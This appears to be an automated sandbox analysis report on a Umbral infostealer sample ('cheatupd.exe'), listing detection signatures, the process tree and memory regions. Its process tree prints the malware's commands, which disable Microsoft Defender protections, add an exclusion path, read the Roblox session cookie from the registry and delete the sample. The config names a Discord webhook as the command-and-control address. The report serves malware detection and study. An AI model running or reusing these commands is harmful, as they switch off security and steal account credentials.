Analysis

  • max time kernel
    149s
  • max time network
    103s
  • platform
    windows11-21h2_x64
  • resource
    win11-20251015-en
  • resource tags

    arch:x64arch:x86image:win11-20251015-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    16/10/2025, 08:33

General

  • Target
    cheatupd.exe
  • Size 3.8MB
  • Sample251016-kf5ngseq31
  • SHA256 5a4eaf32d0659b7901cf0c8414447abf7729f191ee9117afdabbb67d10367f27
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • umbral

Version
  • v1.3

C2
  • https://discord.com/api/webhooks/1427743406863679569/hLCDYDCHNZUWCjL-zXW8URDpd2uw5mUrqLR7utdIoMvaskMgdzVlJvBujZ4cuAvXZi5g

Signatures

  • Detects Umbral payload 3 IoCs
  • Umbral

    Umbral stealer is an open-source modular stealer written in C#.

  • Umbral family
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Disables automatic submission of suspicious files to Microsoft by Windows Defender 1 TTPs 1 IoCs

    Uses the Powershell Set-MpPreference cmdlet to prevent Windows Defender from automatically sending files to Microsoft for analysis.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 3 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 13 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\cheatupd.exe
    "C:\Users\Admin\AppData\Local\Temp\cheatupd.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:5480
    • C:\Windows\SysWOW64\attrib.exe
      "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\cheatupd.exe"
      2⤵
      • System Location Discovery: System Language Discovery
      • Views/modifies file attributes
      PID:3888
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\cheatupd.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5368
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Disables one or more Microsoft Defender components
      • Disables automatic submission of suspicious files to Microsoft by Windows Defender
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4832
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4688
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4140
    • C:\Windows\SysWOW64\Wbem\wmic.exe
      "wmic.exe" os get Caption
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      PID:3128
    • C:\Windows\SysWOW64\Wbem\wmic.exe
      "wmic.exe" computersystem get totalphysicalmemory
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      PID:332
    • C:\Windows\SysWOW64\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      2⤵
      • System Location Discovery: System Language Discovery
      PID:4652
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      PID:3836
    • C:\Windows\SysWOW64\Wbem\wmic.exe
      "wmic" path win32_VideoController get name
      2⤵
      • System Location Discovery: System Language Discovery
      • Detects videocard installed
      PID:6128
    • C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\cheatupd.exe" && pause
      2⤵
      • System Location Discovery: System Language Discovery
      • System Network Configuration Discovery: Internet Connection Discovery
      • Suspicious use of WriteProcessMemory
      PID:2956
      • C:\Windows\SysWOW64\PING.EXE
        ping localhost
        3⤵
        • System Location Discovery: System Language Discovery
        • System Network Configuration Discovery: Internet Connection Discovery
        • Runs ping.exe
        PID:4136

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 17KB
        • SHA256 ff7eb77bedf55c8b38baa4bf989c920348b0fbe84f69074d5a109f95eea74c20
        • MD5 SHA1 SHA512 SSDEEP

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 18KB
        • SHA256 8fbe972ed7d967df58adea1de5dd29cec0207db2a2bb97f24091529fcfd14ce7
        • MD5 SHA1 SHA512 SSDEEP

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 14KB
        • SHA256 5b1fa2d8ea9493402b7b68c0ce10c7b0922b21ca30478fee000be33cd7e73c0b
        • MD5 SHA1 SHA512 SSDEEP

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 18KB
        • SHA256 a35f3dcd1b1800509dd66e9fe8bf81cd7cdfb6648641d8f2caaa94b84e9037f4
        • MD5 SHA1 SHA512 SSDEEP

        __PSScriptPolicyTest_f1mb3qok.2e4.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_f1mb3qok.2e4.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        memory/3836-106-0x0000000006750000-0x000000000679C000-memory.dmp

        memory/3836-104-0x0000000005DA0000-0x00000000060F7000-memory.dmp

        memory/4688-82-0x0000000007540000-0x0000000007562000-memory.dmp

        memory/4688-81-0x0000000006460000-0x00000000064AC000-memory.dmp

        memory/4832-58-0x00000000054F0000-0x0000000005847000-memory.dmp

        memory/5368-40-0x0000000007590000-0x00000000075AA000-memory.dmp

        memory/5368-45-0x00000000079E0000-0x00000000079EE000-memory.dmp

        memory/5368-13-0x00000000055A0000-0x00000000055C2000-memory.dmp

        memory/5368-14-0x0000000005640000-0x00000000056A6000-memory.dmp

        memory/5368-15-0x0000000005E60000-0x0000000005EC6000-memory.dmp

        memory/5368-11-0x0000000075E20000-0x0000000075F10000-memory.dmp

        memory/5368-22-0x0000000005F50000-0x00000000062A7000-memory.dmp

        memory/5368-23-0x0000000006450000-0x000000000646E000-memory.dmp

        memory/5368-24-0x00000000064A0000-0x00000000064EC000-memory.dmp

        memory/5368-25-0x0000000075E20000-0x0000000075F10000-memory.dmp

        memory/5368-26-0x00000000073F0000-0x0000000007424000-memory.dmp

        memory/5368-27-0x0000000070150000-0x000000007019C000-memory.dmp

        memory/5368-33-0x0000000075E20000-0x0000000075F10000-memory.dmp

        memory/5368-35-0x0000000007430000-0x000000000744E000-memory.dmp

        memory/5368-37-0x0000000075E20000-0x0000000075F10000-memory.dmp

        memory/5368-10-0x0000000075E20000-0x0000000075F10000-memory.dmp

        memory/5368-38-0x0000000007460000-0x0000000007504000-memory.dmp

        memory/5368-39-0x0000000007E50000-0x00000000084CA000-memory.dmp

        memory/5368-9-0x0000000004FC0000-0x0000000004FF6000-memory.dmp

        memory/5368-41-0x0000000007820000-0x000000000782A000-memory.dmp

        memory/5368-42-0x0000000007A30000-0x0000000007AC6000-memory.dmp

        memory/5368-43-0x00000000079B0000-0x00000000079C1000-memory.dmp

        memory/5368-51-0x0000000075E20000-0x0000000075F10000-memory.dmp

        memory/5368-12-0x00000000056C0000-0x0000000005CEA000-memory.dmp

        memory/5368-46-0x00000000079F0000-0x0000000007A05000-memory.dmp

        memory/5368-47-0x0000000007AF0000-0x0000000007B0A000-memory.dmp

        memory/5368-49-0x0000000007AE0000-0x0000000007AE8000-memory.dmp

        memory/5480-80-0x0000000075E20000-0x0000000075F10000-memory.dmp

        memory/5480-6-0x00000000054B0000-0x0000000005542000-memory.dmp

        memory/5480-0-0x0000000000400000-0x0000000000DCA000-memory.dmp

        memory/5480-7-0x0000000005550000-0x0000000005AF6000-memory.dmp

        memory/5480-62-0x0000000006ED0000-0x0000000006F46000-memory.dmp

        memory/5480-63-0x0000000006F60000-0x0000000006FB0000-memory.dmp

        memory/5480-64-0x0000000007040000-0x000000000705E000-memory.dmp

        memory/5480-8-0x0000000075E20000-0x0000000075F10000-memory.dmp

        memory/5480-44-0x0000000075E36000-0x0000000075E37000-memory.dmp

        memory/5480-48-0x0000000075E20000-0x0000000075F10000-memory.dmp

        memory/5480-36-0x0000000000400000-0x0000000000DCA000-memory.dmp

        memory/5480-5-0x0000000000400000-0x0000000000DCA000-memory.dmp

        memory/5480-94-0x0000000007430000-0x0000000007442000-memory.dmp

        memory/5480-93-0x0000000007420000-0x000000000742A000-memory.dmp

        memory/5480-4-0x0000000000400000-0x0000000000DCA000-memory.dmp

        memory/5480-2-0x0000000075E20000-0x0000000075F10000-memory.dmp

        memory/5480-1-0x0000000075E36000-0x0000000075E37000-memory.dmp

        memory/5480-111-0x0000000075E20000-0x0000000075F10000-memory.dmp

        memory/5480-112-0x0000000000400000-0x0000000000DCA000-memory.dmp